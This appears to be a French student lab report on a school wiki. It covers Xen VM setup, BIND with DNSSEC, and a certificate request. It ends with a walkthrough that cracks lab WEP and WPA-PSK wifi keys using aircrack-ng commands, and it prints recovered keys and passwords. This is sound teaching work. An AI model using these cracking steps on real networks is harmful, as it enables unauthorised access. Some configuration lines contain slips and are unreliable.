TP sysres IMA2a5 2019/2020 G2

De Wiki d'activités IMA
Révision datée du 13 novembre 2019 à 11:47 par Lmollet (discussion | contributions) (Cassage de clef WEP d'un point d'accès Wifi)
Ekaterina ISHCHUK & Loick MOLLET


Introduction

Installation des systèmes d'exploitation

Configuration Zabeth05

Pour configurer Zabeth05 à reenvoyer eth1 à eth0 nous ajoutons:

   iface bridge inet dhcp
   bridge_ports eth0, eth1
   bridge_hw 172.26.145.55 # adresse de Zabeth05

Installation d'une machien virtuelle Xen

D'abord on connect sur la machine cordouan.insecserv.deule.net Puis, pour créer une machine virtuelle, on lance la commande ci-dessous:

  xen-create-image --hostname=ima2a5-mol-ish --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force

Pour observer le processus d'installation pas à pas, il faut lancer un deuxième terminal et taper:

   tail -f /var/log/xen-tools/ima2a5-mol-ish.log

Dès que l'installation est finie, le résultat;

   Installation Summary
   ---------------------
   Hostname        :  ima2a5-mol-ish
   Distribution    :  ascii
   MAC Address     :  00:16:3E:2F:02:1D
   IP Address(es)  :  dynamic
   SSH Fingerprint :  SHA256:kDLhqDm3Aqt2sIPrhCoFhRGyk4yY3H7VS6KCAO/4Qf0 (DSA)
   SSH Fingerprint :  SHA256:xfQpYfkg1fRXYaVDnDMuT+XTSCh2BgaSmcnF+etOjxc (ECDSA)
   SSH Fingerprint :  SHA256:U2hWpq2wPg16SOpZp9dE6fyY/21PHGAG2fBNz10P4DM (ED25519)
   SSH Fingerprint :  SHA256:YXQFkzNUymvUMMgvypJ73REhRb6RbTjs6FrWiuKXQso (RSA)
   Root Password   :  M9zWc6KYtykXkSC8w8qJ9Ze

On change le mot de passe à "glopglop" avec la commande:

   passwd

Ensuite on doit modifier la configuration "/etc/zen/ima2a5-mol-ish.cfg"

   vif = ['mac=00:16:3E:2F:02:1D, bridge=IMA2a5']

Maintenant on peut créer le domaine et lancer la machine:

  xl create ima2a5-mol-ish.cfg
  xl console ima2a5-mol-ish

Pour créer des volumes on passe des commandes suivantes :

   lvcreate -L10G -n im2a5-mol-ish-home virtual
   lvcreate -L10G -n im2a6-mol-ish-var virtual

Egalement le système des fichiers:

   mke2fs /dev/virtual/im2a5-mol-ish-home
   mke2fs /dev/virtual/im2a5-mol-ish-var

Après on doit modifier le fichier "/etc/xen/ima2a5-mol-ish.cfg" en ajoutant les lignes suivantes:

  disk = [...., 'phy:/dev/virtual/im2a5-mol-ish-home,xvdb1,w',
                'phy:/dev/virtual/im2a5-mol-ish-var,xvdb2,w',]

Maintenant on peut accéder à notre machine virtuelle

   xl console ima2a5-mol-ish

Cette commande nous permet de logger root / glopglop

On vérifie si les volumes sont bien installés:

   fdisk -l

Problème recontré : les volumes n'étaient pas pris en compte. Il fallait détruire la machine par "xl destroy " et puis relancer la création de la machine.

Pour appliquer des volumes avec chaque démarrage, on modifie le fichier "/etc/fstab" de la machine. On ajoute à la fin de fichier :

  /dev/xvdb1		/home		ext4		defaults				0		2
  # /dev/xvdb2		/var		ext4		defaults				0		2

Il faut bien comment la ligne de /var car les manupulation avec ce dossier avant le montage peuvent provoquer des problèmes, que nous avons rencontrés. En tapant "ls /home" on retrouve bien "last+found" = le système des fichiers

Pour assurer le système des fichiers pour /var, on possède au montage:

  mount /dev/xvdb2 /mnt
  mv /var/* /mnt
  umount /mnt
  mount -a

Maintenante on peut decommenter la ligne de '/var' dans le fichier "/etc/fstab":

  /dev/xvdb2		/var		ext4		defaults				0		2


Après ces instructions on vérifie bien par "df":

  root@ima2a5-mol-ish:/etc/network# df
  Filesystem     1K-blocks   Used Available Use% Mounted on
  udev              109076      0    109076   0% /dev
  tmpfs              24528     76     24452   1% /run
  /dev/xvda2       4062912 406352   3430464  11% /
  tmpfs               5120      0      5120   0% /run/lock
  tmpfs             153900      0    153900   0% /run/shm
  /dev/xvdb1      10321208  23028   9773892   1% /home
  /dev/xvdb2      10321208 156552   9640368   2% /var


Configuration du réseau via /etc/network/interfaces:

 auto lo
 iface lo inet loopback
 auto eth0
 iface eth0 inet static
   address 193.48.57.162
   netmask 255.255.255.240
   gateway 193.48.57.172


Maintenant on peut accéder aux autres machines virtuels connectés sur le bridge IMA2a5 :

 root@ima2a5-mol-ish:~# ping 193.48.57.163
 PING 193.48.57.163 (193.48.57.163) 56(84) bytes of data.
 64 bytes from 193.48.57.163: icmp_seq=1 ttl=64 time=0.350 ms
 64 bytes from 193.48.57.163: icmp_seq=2 ttl=64 time=0.304 ms
 64 bytes from 193.48.57.163: icmp_seq=3 ttl=64 time=0.327 ms


Dès que la machien est connectée vers le réseau et possède l'accès Internet, on peut procéder l'installation de SSH, apache and bind

 apt-get install openssh-server
 apt-get install apache2
 apt-get install bind9


3. Site internet, configuration et sécurisation

Pour héberger le site avec un nom de domaine, on achète un nom de domaine "ima2a5-mol-ish.site" sur gandi.net Premièrement, nous achetons un certificat SSL. Deuxièmement, il faut configurer les "nameservers" : au lieu d'avoir des serveurs proposés, on ajoute:

   dns.ima2a5-mol-ish.site
   ns-182-c.gandi.net

Cela va prendre un peu de temps. Vérifier des changements on peut avec http://zonecheck.francedns.com

Sécurisation par DNSSEC

Pour sécuriser le server en DNSSEC il faut d'abord générer deux paires des clés : ZSK et KSK formats

   cd /etc/bind
   mkdir ima2a5-mol-ish.site.dnssec
   cd ima2a5-mol-ish.site.dnssec
   dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE ima2a5-mol-ish.site
   dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE ima2a5-mol-ish.site

Les clés générés on renome:

   mv Kima2a5-mol-ish.site.+005+42049.key ima2a5-mol-ish.site-ksk.key
   mv Kima2a5-mol-ish.site.+005+42049.private ima2a5-mol-ish.site-ksk.private
   mv Kima2a5-mol-ish.site.+005+56373.key ima2a5-mol-ish.site-zsk.key
   mv Kima2a5-mol-ish.site.+005+56373.private ima2a5-mol-ish.site-zsk.private

Puis on peut créer le fichier de configuration dans /etc/bind/ima2a5-mol-ish.site

   $TTL 259200
   $include /etc/bind/ima2a5-mol-ish.site.dnssec/ima2a5-mol-ish.site-ksk.key
   $include /etc/bin/ima2a5-mol-ish.site.dnssec/ima2a5-mol-site-zsk.key
   @ IN SOA dns.ima2a5-mol-ish.site. admin.ima2a5-mol-ish.site. (
            42 ; Version
            7200 ; Refresh (2h)
            3600 ; Retry (1h)
            1209600 ; Expire (14j)
            7200 ; Minimum TTL (2j)
   )
     IN NS dns.ima2a5-mol-ish.site
     IN NS ns-182-c.gandi.net
     IN MX 100 dns.ima2a5-mol-ish.site
     IN A       193.46.57.162
   www        IN A       193.48.57.162
              IN MX      100  dns.ima2a5-mol-ish.site
   dns        IN A       193.48.57.162


Pour que nos modification soient prise en compte nos devons donc signer notre fichier de configuration:

   dnssec-signzone -o ima2a5-mol-ish.site -k /etc/bind/ima2a5-mol-ish.site.dnssec/ima2a5-mol-ish.site-ksk ima2a5-mol-ish.site /etc/bind/ima2a5-mol-ish.site.dnssec/ima2a5-mol-ish.site-zsk

Cela nous génére le fichier ima2a5-mol-ish.site.signed. Il faut le rajouter dans la configuration named.conf.local :

   root@ima2a5-mol-ish:/etc/bind# cat named.conf.local 
   include "/etc/bind/zones.rfc1918";
   zone "ima2a5-mol-ish.site" {
   type master;
   file "/etc/bind/ima2a5-mol-ish.site.signed"
   };

On modifie également notre fichier named.conf.options afin d'activer le DNSSEC

  root@ima2a5-mol-ish:/etc/bind# cat named.conf.options 
  options {

directory "/var/cache/bind"; dnssec-validation auto;

       dnssec-enable yes;

auth-nxdomain no; # conform to RFC1035 listen-on-v6 { any; };

       allow-transfer {"allowed_to_transfer";}
   };
    acl "allowed_to_transfer" {
      217.70.187.183
    };

Maintenant des clés publics on rajoute à DNSSEC section de Gandi. Il faut ajouté la partie qui commence par Aw...

   root@ima2a5-mol-ish:/etc/bind/ima2a5-mol-ish.site.dnssec# cat ima2a5-mol-ish.site-zsk.key
   ; This is a zone-signing key, keyid 56373, for ima2a5-mol-ish.site.
   ; Created: 20191113100104 (Wed Nov 13 10:01:04 2019)
   ; Publish: 20191113100104 (Wed Nov 13 10:01:04 2019)
   ; Activate: 20191113100104 (Wed Nov 13 10:01:04 2019)
   ima2a5-mol-ish.site. IN DNSKEY 256 3 5 AwEAAcCC4sxci7Fep2Djz7oQZY0YxyZlsZyzyEybco91JISIi/Ra8vS2 HBaxqVPSzoIze66PmNW0LeRN6EpEAnstFf6YPncy10UYnw5BYVO/pYyB qMdfNcukAhcFQl4lxg6AAmCJV9p+fxZtH2fVVDgo8dtdoglxdcivpuZ6 X/6yRFOh


Pour appliquer les changement on faire un restart de bind9 :

  service bind9 restart
  bind9 is not running ... failed!

Pour voir des logs et detecter l'erreur:

   root@ima2a5-mol-ish:/etc/bind# named -d 2 -g
   ------
   13-Nov-2019 10:45:13.493 loading configuration from '/etc/bind/named.conf'
   13-Nov-2019 10:45:13.493 /etc/bind/named.conf.options:27: missing ';' before '}'
   13-Nov-2019 10:45:13.493 /etc/bind/named.conf.options:31: missing ';' before '}'
   13-Nov-2019 10:45:13.493 /etc/bind/named.conf.local:8: missing ';' before '}'

On corrige des problèmes, fait un restart:

   root@ima2a5-mol-ish:/etc/bind# service bind9 restart
   Stopping domain name service...: bind9rndc: connect failed: 127.0.0.1#953: connection refused.
   Starting domain name service...: bind9.

Avec l'outil https://dnsviz.net/d/ima2a5-mol-ish.site/dnssec/ on peut générer la chaîne


Génération des clés

Pour obtenir un certificat SSl, on possède le processus sur Gandi.net.


For validate a SSL certificate, a new record should be added:

   _4DE219768FBF39EF064A572B1D83103B.ima2a5-mol-ish.site. 10800 IN CNAME B82AAE68366BCA619C95648FBB6F88F2.7B01FC91DDE8B7A0ADD0CFF1E1EFF391.4538579b59251aec5bda.comodoca.com.

Il faudra attendre pour que les changements seront appliqués.


Architecture réseau

L'architecture générale

Les réseaux virutels

Le routage de site (IPv4)

Le routage de site (IPv6)

Interconnexion avec Internet (IPv4)

Interconnexion avec Internet (IPV6)

Sécurisation du réseau

Services internet

Test d'intrusion

Intrusion par changement d'adresse MAC

Cassage de clef WEP d'un point d'accès Wifi

Configuration de la carte réseau

Dans cette partie, il est question de cracker une clé WEP depuis l'ordinateur mis à disposition (Silure).

On commence par établir une connexion internet via une liaison filaire ainsi que la configuration de la clé Wifi.

-Se placer en super-administrateur et visualiser la liste des interfaces

   su
   ip l

On trouve ainsi trois interfaces : lo, wlx40a5ef01370a (clé wifi) et enp4s0 (eth0)

-Modifier le fichier de configuration réseau

   nano /etc/network/interfaces

-Modifier le fichier avec les lignes suivantes :


   #Interface réseau filaire
   auto enp4s0
   iface enp4s0 inet static
    address 172.26.145.105
    netmask 255.255.255.0
    gateway 172.145.255.254
   
   #Interface Wifi
   auto wlx40a5ef01370a
   iface wlx40a5ef01370a inet dhcp

-Modifier le proxy avec celui de l'école :

   export http_proxy=http://proxy.polytech-lille.fr:3128

-Eteindre et rallumer l'interface enp4s0 :

   ifdown enp4s0 //Eteindre l'interface
   ifup enp4s0 //Allumer l'interface

- Vérifier la bonne mise à jour des interfaces

   ip a

ainsi que le miroir est bien celui de la licence linux, ici debian

   deb http://debian.polytech-lille.fr/debian/ buster main contrib none-free
   deb-src http://debian.polytech-lille.fr/debian buster main contrib non-free
   deb http://security.debian.org/debian-security buster/updates main contrib non-free
   deb-src http://security.debian.org/debian-security buster/updates main contrib non-free


- Effectuer la mise à jour et installer le paquetage aircrack

   apt update
   apt-get install aircrack-ng

-Démarrer le logiciel aircrack en précisant l'interface :

   airmon-ng start wlx40a5ef01370a
IMA2A5 AIRODUMP.png

A partir de là, la carte Wifi passe en mode moniteur et prend l'intitulé wlan0mon.

Scanner le réseau wifi

A patir de là, nous pouvons scanner le réseau Wifi environnant avec airodump

   airodump-ng --encrypt wep wlan0mon
IMA2A5 AIRODUMP VIEW.png

On visualise les raspberry disponibles avec les informations suivantes :

  • Le BSSID du réseau en hexadécimal
  • La force du signal avec PWR
  • Le channel avec CH
  • Le type d'encryptage avec ENC
  • Le nom du réseau avec ESSID

On choisit de cracker la cracotte09 en stockant les données générées dans le dossier WEP

   mkdir WEP
   airodump-ng -w cracotte -c 8 --bssid 04:DA:D2:9C:50:58 wlan0mon


On obtient l'écran suivant indiquant le nombre de données collectées (#Data)

IMA2A5 PACKET.png

En parallèle de ça, on peut la phase de décryptage avec l'utilitaire aircrack-ng

Aircrack-ng.png
   aircrack-ng cracotte*.cap

Une fois le nombre d'IVs suffisant atteint, on obtient la clé WEP

Cassage de mot de passe WPA-PSK par force brute

Dans cette partie, il s'agit de casser le mot de passe d'un réseau Wifi sécurisé en WPA-PSK. On utilisera le même utilitaire aircrack-ng à la différence qu'il s'agira non plus de récuprérer des IVs mais un handshake.

Pour se faire, on commence par sonder le réseau en filtrant uniquement le protocole WPA

   airodump-ng --encrypt wpa wlan0mon
IMA2A5-WPA-airodump.png

On obtient la liste suivante.

Il faut ensuite générer un dictionnaire comportant l'ensemble des combinaisons possibles de la clé WPA.


Point particulier : Lors de la génération du dictionnaire, j'ai oublié d'inclure le chiffre 0 ce qui a allégé de 60% le fichier originel (900Mb pour les 10 chiifres contre 300Mb pour les 9 chiffres). Ce que je ne savais pas à ce moment là, c'est que la clé à trouver ne comporte pas de zéro. Cela a permis de passer de 3h de temps de calcul à 1 min et 18 secondes.


   aircrack-ng psk-01.cap Dico.txt


On a pour résultat est le suivant :

IMA2A5-WPA-key.png

La clé sur la kracotte02 est 12228888